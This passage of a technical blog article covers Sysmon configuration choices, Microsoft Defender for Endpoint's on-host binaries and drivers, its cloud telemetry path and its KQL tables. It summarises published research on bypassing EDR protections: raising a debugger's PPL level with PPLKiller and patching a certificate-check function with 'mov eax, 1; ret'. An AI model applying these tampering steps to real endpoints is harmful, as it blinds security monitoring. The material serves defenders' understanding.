&lt;li&gt;&lt;code&gt;sysmonconfig.xml&lt;/code&gt; -- the default deployment baseline.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig-with-filedelete.xml&lt;/code&gt; -- default plus the EID 23 archive variant of file delete, which preserves the deleted file in &lt;code&gt;C:\Sysmon\&lt;/code&gt; (volume-cost trade-off; recommend dedicated drive).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig-excludes-only.xml&lt;/code&gt; -- the verbose variant, which captures everything except a small set of well-known exclusions; useful for detection-engineering R&amp;amp;D on a single host.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig-research.xml&lt;/code&gt; -- the super-verbose variant, with the README&apos;s standing warning: &quot;&lt;em&gt;really DO NOT USE IN PRODUCTION!&lt;/em&gt;&quot; -- this is for live-malware-sample analysis in a sandbox, not for fleet rollout.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; -- the variant whose entire design intent is to augment Microsoft Defender for Endpoint&apos;s collection surface &quot;&lt;em&gt;to have as little overlap as possible&lt;/em&gt;&quot; with what MDE already captures [@github-hartong-modular].&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The MDE-augment config is the artifact this article keeps returning to. It is the operational answer -- maintained by a person, not by Microsoft -- to the question of which Sysmon events are worth collecting on a host that already has MDE installed. We will return to its specific contents in §10. For now, the key observation is that this config exists because of a documented absence: Microsoft has not published a per-&lt;code&gt;ActionType&lt;/code&gt; cross-walk between MDE&apos;s &lt;code&gt;Device*&lt;/code&gt; schema and Sysmon&apos;s manifest, so Hartong reverse-engineered one.&lt;/p&gt;
&lt;h3&gt;Side-by-side comparison&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;SwiftOnSecurity/sysmon-config&lt;/th&gt;
&lt;th&gt;NextronSystems/sysmon-config (formerly Neo23x0)&lt;/th&gt;
&lt;th&gt;olafhartong/sysmon-modular&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Author / org&lt;/td&gt;
&lt;td&gt;SwiftOnSecurity (pseudonymous)&lt;/td&gt;
&lt;td&gt;Florian Roth + Nextron Systems team&lt;/td&gt;
&lt;td&gt;Olaf Hartong (and FalconForce collaborators)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;Feb 1, 2017&lt;/td&gt;
&lt;td&gt;Forked Jan 2018; renamed Jul 24, 2021&lt;/td&gt;
&lt;td&gt;Jan 13, 2018&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distribution&lt;/td&gt;
&lt;td&gt;One monolithic XML&lt;/td&gt;
&lt;td&gt;Two XMLs (audit + blocking)&lt;/td&gt;
&lt;td&gt;Modular per-technique + five pre-generated builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Design philosophy&lt;/td&gt;
&lt;td&gt;Quality starting point, conservative&lt;/td&gt;
&lt;td&gt;Community-maintained, blocking-aware&lt;/td&gt;
&lt;td&gt;Tunable modular, MITRE ATT&amp;amp;CK-mapped&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best used for&lt;/td&gt;
&lt;td&gt;First-time Sysmon deployment&lt;/td&gt;
&lt;td&gt;Standalone Sysmon at scale&lt;/td&gt;
&lt;td&gt;Sysmon alongside MDE, or per-team customization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pre-generated v14+ blocking&lt;/td&gt;
&lt;td&gt;No (audit only)&lt;/td&gt;
&lt;td&gt;Yes (&lt;code&gt;sysmonconfig-export-block.xml&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Yes (built from blocking modules)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MDE coexistence variant&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (&lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Choosing among the three&lt;/h3&gt;
&lt;p&gt;The detection-engineering trade-off framing is short. Pick SwiftOnSecurity when you want a clean, well-commented starting point and you are not yet sure which events you actually need. Pick NextronSystems when you want a community-maintained baseline that already has the blocking rules for Sysmon v14+. Pick Hartong when you want fine-grained per-technique tunability or, more commonly, when you are running MDE and need Sysmon to augment rather than duplicate it.&lt;/p&gt;
&lt;p&gt;Tactical caution worth one inline note: Sysmon supports &lt;strong&gt;one active configuration at a time&lt;/strong&gt;. There is no aggregate-multiple-XMLs feature at the driver layer. Hartong&apos;s modular approach generates a single merged XML at build time; the production fleet receives that single XML and the driver enforces it. If you are trying to run two configurations side by side -- one for the SOC&apos;s hunting, one for the platform team&apos;s audit -- pick one, merge the rules, and ship the combined product. The deployment tooling in &lt;code&gt;sysmon-modular&lt;/code&gt; is built around exactly this constraint.&lt;/p&gt;
&lt;p&gt;All three configurations assume the same thing: either Sysmon is the only EDR on the host (a deployment posture that exists in air-gapped, regulatory-no-cloud, or unlicensed environments) or it is augmenting an EDR whose collection surface is known. The augment case is the one where the field has converged on Hartong. To understand why, we have to look at what the &lt;em&gt;other&lt;/em&gt; EDR -- Microsoft&apos;s own -- actually collects on the host.&lt;/p&gt;
&lt;h2&gt;6. Microsoft Defender for Endpoint: The Documented On-Host Surface&lt;/h2&gt;
&lt;p&gt;Two questions about MDE have very different answers. &lt;em&gt;What does Microsoft Defender for Endpoint run on this host?&lt;/em&gt; has a primary-source-quality answer from Microsoft Learn. &lt;em&gt;What does it actually do?&lt;/em&gt; has only a community-observed answer. The documented surface is the user-mode component inventory plus registry hives and event sources. The community-observed surface includes the kernel-callback inventory, the cloud TLS-pinning details, and the inter-process communication paths -- none of which Microsoft has published. Naming both halves with the right citations on each side is one of the few things this article does that other writeups skip.&lt;/p&gt;
&lt;h3&gt;The documented surface (Microsoft Learn, primary)&lt;/h3&gt;
&lt;p&gt;On every onboarded Windows endpoint, Microsoft Defender for Endpoint installs and runs a Windows service named &lt;strong&gt;&lt;code&gt;Sense&lt;/code&gt;&lt;/strong&gt;, whose display name is &quot;Microsoft Defender for Endpoint Service&quot; and whose backing executable is &lt;code&gt;MsSense.exe&lt;/code&gt;. The on-host troubleshooting page documents the canonical health-check command: &lt;code&gt;sc query sense&lt;/code&gt; [@sense-troubleshoot]. On Windows Server 2019, Server 2022, Server 2025, and Azure Stack HCI 23H2 or later, MDE is delivered as a &lt;em&gt;Feature on Demand&lt;/em&gt; with the capability name &lt;code&gt;Microsoft.Windows.Sense.Client~~~~&lt;/code&gt;. Microsoft documents the verification command verbatim: &quot;&lt;em&gt;DISM.EXE /Online /Get-CapabilityInfo /CapabilityName:Microsoft.Windows.Sense.Client~~~~&lt;/em&gt;&quot; [@sense-troubleshoot][@ms-server-endpoints-learn].&lt;/p&gt;
&lt;p&gt;Onboarding state is recorded under two registry hives that Microsoft Learn names explicitly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection&lt;/code&gt; -- the policy-driven configuration surface.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status&lt;/code&gt; -- the run-time onboarding state.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Onboarding diagnostics land in the &lt;strong&gt;&lt;code&gt;WDATPOnboarding&lt;/code&gt;&lt;/strong&gt; event source under the Application event log, with documented event IDs 5, 10, 15, 30, 35, 40, 65, and 70, each of which corresponds to a specific failure mode with a specific resolution procedure [@sense-troubleshoot]. The product installs to &lt;code&gt;C:\Program Files\Windows Defender Advanced Threat Protection\&lt;/code&gt; (the legacy path is preserved even after the September 2020 rebrand).&lt;/p&gt;
&lt;p&gt;The documented surface stops here. Microsoft Learn names &lt;code&gt;MsSense.exe&lt;/code&gt;, the &lt;code&gt;Sense&lt;/code&gt; service, the registry hives, the event source, the Feature on Demand, and the four operating systems. Microsoft Learn does &lt;em&gt;not&lt;/em&gt; publish a kernel-callback inventory for the MDE EDR sensor.&lt;/p&gt;
&lt;h3&gt;The community-observed surface&lt;/h3&gt;
&lt;p&gt;Past the documented boundary, what is in field-published primary sources is the user-mode binary inventory and the cloud-side TLS path. Three companion binaries sit alongside &lt;code&gt;MsSense.exe&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SenseCncProxy.exe&lt;/code&gt;&lt;/strong&gt; is the cloud-command-and-control proxy. This is the binary that holds the TLS connection out to Defender XDR ingest, applies the certificate-pinning policy, and shuttles agent-bound commands (live-response actions, custom-detection-rule pushes, sensor-configuration updates) back down to &lt;code&gt;MsSense.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SenseIR.exe&lt;/code&gt;&lt;/strong&gt; is the live-response and investigation actions binary. When a SOC analyst clicks &lt;strong&gt;Run script&lt;/strong&gt; or &lt;strong&gt;Collect investigation package&lt;/strong&gt; in the Defender XDR portal, &lt;code&gt;SenseIR.exe&lt;/code&gt; is the process that fulfils the request on the endpoint side.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SenseNdr.exe&lt;/code&gt;&lt;/strong&gt; is the network detection and response component, responsible for endpoint-side enrichment of network observations used in the &lt;code&gt;DeviceNetworkEvents&lt;/code&gt; table.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These binaries are not enumerated on Microsoft Learn in the same way the &lt;code&gt;Sense&lt;/code&gt; service itself is. They are documented in MDE incident-response runbooks, in third-party reverse-engineering posts, and in the file-system signature data on any onboarded endpoint. The article treats their existence as community-observed. &lt;code&gt;SenseIR.exe&lt;/code&gt; is corroborated by InfoGuard 2025&apos;s reverse-engineering of MDE&apos;s live-response cloud path [@infoguard-2025]; &lt;code&gt;SenseNdr.exe&lt;/code&gt; in particular lacks an explicit community primary writeup as of 2026 -- its role here is inferred from its on-disk binary metadata and the file-system signature data on onboarded endpoints.&lt;/p&gt;
&lt;p&gt;The kernel-side surface MDE shares with Defender Antivirus &lt;em&gt;is&lt;/em&gt; documented in the Defender Antivirus product line [@ms-defender-av-arch]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WdBoot.sys&lt;/code&gt;&lt;/strong&gt; is the &lt;strong&gt;Early-Launch Antimalware (ELAM)&lt;/strong&gt; driver. It is the first non-Windows driver to load at boot and gates which non-ELAM drivers are allowed to load after it. It is signed with the &lt;strong&gt;Antimalware Extended Key Usage&lt;/strong&gt;, &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt; [@ms-learn-elam-sample].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WdFilter.sys&lt;/code&gt;&lt;/strong&gt; is the Defender Antivirus file-system minifilter. It sits alongside &lt;code&gt;SysmonDrv.sys&lt;/code&gt; at a different Filter Manager altitude.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WdNisDrv.sys&lt;/code&gt;&lt;/strong&gt; is the Network Inspection System driver, which provides the host-firewall-augmenting NIS layer.&lt;/li&gt;
&lt;/ul&gt;

A Windows process-protection level, introduced in Vista (as Protected Process, for DRM) and extended in Windows 8.1 (for antimalware), that prevents user-mode debugger attach, code injection, and `OpenProcess` for write from any caller that does not itself run at an equal or higher PPL signer level. Antimalware-PPL (`PROTECTED_ANTIMALWARE_LIGHT`) is the level reserved for security products signed with the Antimalware EKU; `MsSense.exe` and Sysmon v15+ both run at this level.

The Windows boot-order privilege that lets a driver signed with the Antimalware EKU `1.3.6.1.4.1.311.61.4.1` [@ms-learn-elam-sample] load before any non-ELAM driver and classify subsequent boot-start drivers as `Good`, `Bad`, or `Unknown` so the kernel can decide which to load. The ELAM driver *itself* is measured (along with the bootloader, kernel, and other early-boot artefacts) into TPM PCRs by Windows&apos;s *Measured Boot*, which is a separate boot-integrity feature; ELAM&apos;s job is to classify, not to measure. Defender Antivirus&apos;s `WdBoot.sys` is the canonical ELAM driver. Sysmon&apos;s `SysmonDrv.sys` is *not* ELAM-signed; this is the pre-driver-load horizon discussed in §12.

The Authenticode Extended Key Usage `1.3.6.1.4.1.311.61.4.1` [@ms-learn-elam-sample], issued by Microsoft to security vendors after a code-signing and behavioral review. The EKU gates two distinct things: ELAM signing eligibility (so the driver loads first) and Antimalware-PPL eligibility for the user-mode service (so the service is harder to tamper with). MDE&apos;s `MsSense.exe`, Defender Antivirus&apos;s `MsMpEng.exe`, and Sysmon v15+ all carry this signature path.
&lt;h3&gt;Antimalware-PPL on MsSense.exe&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;MsSense.exe&lt;/code&gt; service runs as &lt;strong&gt;&lt;a href=&quot;https://paragmali.com/blog/protected-process-light-when-the-administrator-isnt-enough/&quot; rel=&quot;noopener&quot;&gt;Antimalware-PPL&lt;/a&gt;&lt;/strong&gt; -- &lt;code&gt;PROTECTED_ANTIMALWARE_LIGHT&lt;/code&gt; in the kernel data structure. The protection level prevents an attacker with SYSTEM privileges from attaching a user-mode debugger, suspending the service, or injecting code into its address space using ordinary Windows debugging or code-injection APIs. This is the same protection level Sysmon v15+ runs at, and it is the same level Defender Antivirus&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; has run at since Windows 8.1. The structural defense closes user-mode tampering as a class. The residual attack surface is kernel-mode primitives -- which is what FalconForce had to use in 2022 to debug MDE [@falconforce-2022].&lt;/p&gt;
&lt;h3&gt;The dispositive reverse-engineering primary: FalconForce 2022&lt;/h3&gt;
&lt;p&gt;Olaf Hartong and Henri Hambartsumyan, working at FalconForce, published the most-cited reverse-engineering writeup of MDE&apos;s on-host architecture in 2022. The post&apos;s TL;DR captures both the debug-bypass technique and the cloud vulnerability that resulted from applying it:&lt;/p&gt;

You can debug MDE running on an endpoint by running `dbgsrv.exe` and raising its PPL protection to WinTcb. This can be used to snoop on data being transmitted by MDE to the cloud. We identified a vulnerability related to missing authorization checks of data sent from the MDE endpoint to the M365 cloud, allowing anyone to send spoofed data to any M365 tenant.
&lt;p&gt;The technique is precise [@falconforce-2022]. FalconForce raised the PPL signer level of Windows&apos;s PE debug server (&lt;code&gt;dbgsrv.exe&lt;/code&gt;) to &lt;code&gt;WinTcb&lt;/code&gt; -- a signer level &lt;em&gt;higher&lt;/em&gt; than Antimalware-PPL -- and used the elevated debug server to attach to &lt;code&gt;MsSense.exe&lt;/code&gt;. From inside that debug session they instrumented &lt;code&gt;SspiCli!EncryptMessage&lt;/code&gt;, the SSPI function MDE&apos;s cloud transport uses to wrap each outbound message before TLS encryption, and captured the plaintext payloads. The plaintext capture surfaced &lt;strong&gt;CVE-2022-23278&lt;/strong&gt;: a missing-authorization vulnerability in which the M365 cloud trusted whatever device-identifying claims the endpoint asserted, with no cross-check that the asserting endpoint owned the device identity it claimed [@msrc-cve-2022-23278][@nvd-cve-2022-23278]. Microsoft patched the vulnerability on March 8, 2022, with a public acknowledgement to FalconForce: &quot;&lt;em&gt;Microsoft released a security update to address CVE-2022-23278 in Microsoft Defender for Endpoint. This important class spoofing vulnerability impacts all platforms. We wish to thank Falcon Force for the collaboration on addressing this issue through coordinated vulnerability disclosure&lt;/em&gt;&quot; [@msrc-cve-2022-23278].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The kernel-and-Defender-Antivirus surface MDE shares (&lt;code&gt;WdBoot.sys&lt;/code&gt; ELAM, &lt;code&gt;WdFilter.sys&lt;/code&gt; minifilter, &lt;code&gt;WdNisDrv.sys&lt;/code&gt; NIS) is documented. The specific callback inventory the MDE EDR sensor itself registers is not. The community&apos;s best-published primary for what &lt;code&gt;MsSense.exe&lt;/code&gt; actually does is the FalconForce 2022 reverse-engineering writeup -- and it covers a narrow slice (TLS interception and one cloud-authorization bug), not a full callback list. The Hartong &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; config exists &lt;em&gt;as a community-curated artifact&lt;/em&gt; precisely because Microsoft has not published a per-&lt;code&gt;ActionType&lt;/code&gt;-to-per-kernel-callback cross-walk. The most-cited operational config in the field is downstream of a documentation gap. This is the second aha moment of the article.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Putting the on-host pieces together&lt;/h3&gt;

flowchart TD
    B[&quot;WdBoot.sys (ELAM, Antimalware EKU)&quot;] -.boot order.-&amp;gt; F[&quot;WdFilter.sys (file minifilter)&quot;]
    B -.boot order.-&amp;gt; N[&quot;WdNisDrv.sys (Network Inspection)&quot;]
    F --&amp;gt; M[&quot;MsSense.exe (Antimalware-PPL aggregator)&quot;]
    N --&amp;gt; M
    M --&amp;gt; IR[&quot;SenseIR.exe (Live Response)&quot;]
    M --&amp;gt; NDR[&quot;SenseNdr.exe (Network Detection)&quot;]
    M --&amp;gt; P[&quot;SenseCncProxy.exe (cloud forwarder)&quot;]
    P -- &quot;TLS + certificate pinning&quot; --&amp;gt; C[&quot;Defender XDR ingest (regional Kusto)&quot;]
&lt;p&gt;The picture is asymmetric: the kernel-driver substrate at the top is documented in the Defender Antivirus product line; the user-mode service inventory in the middle is documented for &lt;code&gt;MsSense.exe&lt;/code&gt; and partly documented for the companion binaries; the cloud transport at the bottom is documented at the API-contract level (TLS, certificate pinning) but the specific endpoints and the on-the-wire payload format are reverse-engineered. The community published primaries -- FalconForce 2022 above the line, InfoGuard Labs 2025 below it -- are how the field knows what they know about the cloud-bound payload. Which is the next layer.&lt;/p&gt;
&lt;h2&gt;7. The Cloud Pipeline: SenseCncProxy.exe to Defender XDR Ingest&lt;/h2&gt;
&lt;p&gt;The wire between &lt;code&gt;MsSense.exe&lt;/code&gt; and Microsoft&apos;s cloud is TLS with certificate pinning. It is also, twice in the last four years, the place where the most interesting Defender for Endpoint vulnerabilities have lived. The 2022 round closed one of them. The 2025 round is still open as of this article&apos;s writing.&lt;/p&gt;
&lt;h3&gt;Certificate pinning and the FalconForce 2022 method&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;MsSense.exe&lt;/code&gt; does not trust whatever the Windows certificate store says about the chain to Defender XDR ingest. It pins the certificate. FalconForce&apos;s bypass is the one §6 already named: raise &lt;code&gt;dbgsrv.exe&lt;/code&gt; to &lt;code&gt;WinTcb&lt;/code&gt; PPL, attach the elevated debug server to &lt;code&gt;MsSense.exe&lt;/code&gt;, instrument &lt;code&gt;SspiCli!EncryptMessage&lt;/code&gt; to capture the plaintext payload &lt;em&gt;before&lt;/em&gt; TLS encryption [@falconforce-2022].The specific PPL elevation technique is published in the same writeup. PPLKiller&apos;s &lt;code&gt;/enablePPL&lt;/code&gt; patch writes the Antimalware-PPL bit into &lt;code&gt;dbgsrv.exe&lt;/code&gt;&apos;s &lt;code&gt;_EPROCESS.Protection&lt;/code&gt; field at the highest signer level (&lt;code&gt;WinTcb&lt;/code&gt;). The result: a PE debug server running at a PPL level &lt;em&gt;above&lt;/em&gt; Antimalware-PPL, with &lt;code&gt;OpenProcess&lt;/code&gt; rights against any Antimalware-PPL target [@falconforce-2022]. This requires SYSTEM plus a kernel primitive, typically delivered via BYOVD.&lt;/p&gt;
&lt;p&gt;The InfoGuard Labs 2025 follow-up took a different route to the same problem. Instead of reading plaintext before TLS encryption, InfoGuard &lt;em&gt;patches&lt;/em&gt; the certificate-chain validation function in memory so the endpoint certificate is no longer checked at all. Any local TLS-stripping proxy can then intercept the wire. The verbatim patch is two CPU instructions written into &lt;code&gt;CRYPT32!CertVerifyCertificateChainPolicy&lt;/code&gt;: &quot;&lt;code&gt;mov eax, 1; ret&lt;/code&gt;&quot; -- which forces the function to return success without performing any actual chain check [@infoguard-2025].&lt;/p&gt;
&lt;p&gt;With the pinning gate disabled, InfoGuard&apos;s team observed the on-the-wire protocol. The cloud-bound payload goes to two endpoint families: &lt;code&gt;/edr/commands/cnc&lt;/code&gt; for command-and-control and &lt;code&gt;/senseir/v1/actions/&lt;/code&gt; for live-response actions. The vulnerability they then disclosed is that both endpoint families accept &quot;data sent from the MDE endpoint to the cloud ... without validating authentication tokens, allowing a post-breach attacker with a machine&apos;s ID to hijack the command-and-control channel&quot; [@infoguard-2025]. Microsoft&apos;s response, verbatim: &quot;&lt;em&gt;All findings were reported to the Microsoft Security Response Center (MSRC) in July 2025. However, Microsoft has classified them as low severity and has not committed to a fix&lt;/em&gt;&quot; [@infoguard-2025].&lt;/p&gt;

FalconForce 2022 found a missing-authorization bug in the cloud&apos;s trust path. CVE-2022-23278 was patched. InfoGuard Labs 2025 found a different missing-authorization pattern in different cloud endpoints -- different bug, same class -- and the disclosure record says Microsoft has not committed to a fix. The cloud trusts whatever the endpoint claims about itself far enough that the same authorization gap keeps surfacing. The arc that began with the March 2022 spoofing-CVE patch is not closed. This is the third aha moment of the article, surfaced again in §11.
&lt;h3&gt;What the cloud does on arrival&lt;/h3&gt;
&lt;p&gt;Once &lt;code&gt;SenseCncProxy.exe&lt;/code&gt; has TLS-shipped the event over the wire to the regional Defender XDR ingest endpoint, two things happen on the cloud side. First, the event lands in the Advanced Hunting Kusto cluster. Microsoft Learn&apos;s verbatim freshness claim is: &quot;&lt;em&gt;Advanced hunting receives this data almost immediately after the sensors that collect them successfully transmit it to the corresponding cloud services&lt;/em&gt;&quot; [@advanced-hunting-overview]. &quot;Almost immediately&quot; is empirically a few seconds in steady state, which is exactly what Maya saw in §1: a row with &lt;code&gt;Timestamp&lt;/code&gt; three seconds in the past.&lt;/p&gt;
&lt;p&gt;Second, the event is replicated for use by Microsoft&apos;s built-in detection rules, MITRE-mapped queries, and the cross-domain correlation surface that joins endpoint events to email events, identity events, and cloud-application events. The cross-domain join is one of the most-cited reasons enterprises stay on the licensed product rather than fall back to standalone Sysmon: KQL can join &lt;code&gt;DeviceProcessEvents&lt;/code&gt; to &lt;code&gt;EmailEvents&lt;/code&gt; to &lt;code&gt;IdentityLogonEvents&lt;/code&gt; in one query, and Sysmon-only deployments cannot do that without a separate SIEM doing the cross-source enrichment.&lt;/p&gt;
&lt;p&gt;Data residency is documented at the regional level in the MDE configure-server-endpoints page: &quot;&lt;em&gt;data is stored in the US for customers in the USA; in EU for European customers; and in the UK for customers in the United Kingdom&lt;/em&gt;&quot; [@ms-server-endpoints-learn]. Retention in-portal is the same quota for all geographies: &quot;&lt;em&gt;Advanced hunting is a query-based threat hunting tool that you use to explore up to 30 days of raw data&lt;/em&gt;&quot; [@advanced-hunting-overview]. Past 30 days, the customer has to extend the retention surface via Microsoft Sentinel&apos;s per-table archiving, which is the operational story §9 picks up.&lt;/p&gt;
&lt;h3&gt;The event&apos;s journey, end to end&lt;/h3&gt;

sequenceDiagram
    participant K as Kernel callback (WdFilter or SysmonDrv)
    participant S as MsSense.exe (Antimalware-PPL)
    participant P as SenseCncProxy.exe
    participant CP as CRYPT32!CertVerifyCertificateChainPolicy
    participant C as Defender XDR ingest (regional Kusto)
    participant Q as DeviceProcessEvents table
    K-&amp;gt;&amp;gt;S: Synchronous callback notification
    Note over S: Enrich (parent PID, hashes, identity, ProcessGuid)
    S-&amp;gt;&amp;gt;S: SspiCli!EncryptMessage (FalconForce 2022 plaintext capture point)
    S-&amp;gt;&amp;gt;P: IPC to cloud forwarder
    P-&amp;gt;&amp;gt;CP: Validate Defender XDR certificate chain
    CP--&amp;gt;&amp;gt;P: Pinned chain OK (InfoGuard 2025 bypass: patch CP to return 0 unconditionally)
    P-&amp;gt;&amp;gt;C: HTTPS POST /edr/commands/cnc or /senseir/v1/actions/
    C-&amp;gt;&amp;gt;Q: Write into Kusto cluster
    Note over Q: &quot;Almost immediately&quot; -- seconds end to end
    Q--&amp;gt;&amp;gt;K: Queryable via KQL
&lt;p&gt;The diagram is annotated with the two community-disclosed interception points because they are the two places the field has actually been able to observe what is on the wire. Between &lt;code&gt;SspiCli!EncryptMessage&lt;/code&gt; (where the plaintext payload exists) and &lt;code&gt;CRYPT32!CertVerifyCertificateChainPolicy&lt;/code&gt; (where the certificate chain gets validated), the path is otherwise opaque to external researchers. The Microsoft-published side of the story is the contractual one: TLS, certificate pinning, regional ingest, Kusto cluster, KQL exposure. The reverse-engineered side fills in the rest.&lt;/p&gt;
&lt;p&gt;Within seconds, the event appears as a row in &lt;code&gt;DeviceProcessEvents&lt;/code&gt;. The reader-side schema is where the analyst lives. So: what columns?&lt;/p&gt;
&lt;h2&gt;8. Six &lt;code&gt;Device*&lt;/code&gt; Tables and One Worked KQL Query&lt;/h2&gt;
&lt;p&gt;Every detection rule in Microsoft Defender XDR, every hunting query in Microsoft Sentinel, and every analyst pivot Maya does on her console is a KQL query against six load-bearing tables. Knowing those six tables is the price of admission to the Defender XDR field.&lt;/p&gt;

Microsoft&apos;s data-explorer query language, originally built for Azure Data Explorer (formerly Kusto). KQL reads as a pipeline of operators -- `where`, `project`, `summarize`, `join`, `order by` -- left to right. Advanced Hunting in Microsoft Defender XDR and analytics queries in Microsoft Sentinel both expose the same KQL dialect; the same query text can be moved between the two surfaces with only the table-name namespace changing [@advanced-hunting-overview][@sentinel-xdr-connector].
&lt;h3&gt;The six tables&lt;/h3&gt;
&lt;p&gt;The six tables that this article calls &quot;load-bearing&quot; are the ones that map most cleanly to Sysmon&apos;s manifest and that detection rules join against most often:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceProcessEvents&lt;/code&gt;&lt;/strong&gt; -- the canonical reader-side analogue of Sysmon&apos;s EID 1 (ProcessCreate) and EID 5 (ProcessTerminate). The schema reference page names roughly fifty columns including &lt;code&gt;Timestamp&lt;/code&gt;, &lt;code&gt;DeviceId&lt;/code&gt;, &lt;code&gt;DeviceName&lt;/code&gt;, &lt;code&gt;ActionType&lt;/code&gt;, &lt;code&gt;FileName&lt;/code&gt;, &lt;code&gt;FolderPath&lt;/code&gt;, &lt;code&gt;SHA1&lt;/code&gt;, &lt;code&gt;SHA256&lt;/code&gt;, &lt;code&gt;MD5&lt;/code&gt;, &lt;code&gt;FileSize&lt;/code&gt;, &lt;code&gt;ProcessId&lt;/code&gt;, &lt;code&gt;ProcessCommandLine&lt;/code&gt;, &lt;code&gt;ProcessIntegrityLevel&lt;/code&gt;, &lt;code&gt;ProcessTokenElevation&lt;/code&gt;, &lt;code&gt;ProcessCreationTime&lt;/code&gt;, &lt;code&gt;AccountSid&lt;/code&gt;, &lt;code&gt;AccountName&lt;/code&gt;, &lt;code&gt;AccountUpn&lt;/code&gt;, &lt;code&gt;LogonId&lt;/code&gt;, and the full &lt;code&gt;InitiatingProcess*&lt;/code&gt; family of parent-process columns [@deviceprocessevents-table].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceNetworkEvents&lt;/code&gt;&lt;/strong&gt; -- the analogue of Sysmon EID 3 (NetworkConnect) plus EID 22 (DNSEvent) and the MDE-only network-protection telemetry. Columns include &lt;code&gt;RemoteIP&lt;/code&gt;, &lt;code&gt;RemotePort&lt;/code&gt;, &lt;code&gt;RemoteUrl&lt;/code&gt;, &lt;code&gt;LocalIP&lt;/code&gt;, &lt;code&gt;LocalPort&lt;/code&gt;, &lt;code&gt;Protocol&lt;/code&gt;, &lt;code&gt;RemoteIPType&lt;/code&gt;, and the &lt;code&gt;InitiatingProcess*&lt;/code&gt; family [@sentinel-xdr-connector].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt;&lt;/strong&gt; -- the analogue of Sysmon EIDs 11 (FileCreate), 15 (FileCreateStreamHash), 23 (FileDelete archived), and 26 (FileDeleteDetected).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;&lt;/strong&gt; -- the analogue of Sysmon EID 7 (ImageLoad).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceRegistryEvents&lt;/code&gt;&lt;/strong&gt; -- the analogue of Sysmon EIDs 12-14 (RegistryEvent family).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceEvents&lt;/code&gt;&lt;/strong&gt; -- the miscellaneous catch-all. &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;AMSI&lt;/a&gt; scan results, exploit-protection events, ASR rule fires, Network Protection blocks, and other MDE-specific events that do not fit cleanly into any of the per-event-class tables surface here as &lt;code&gt;ActionType&lt;/code&gt; discriminators.&lt;/li&gt;
&lt;/ul&gt;
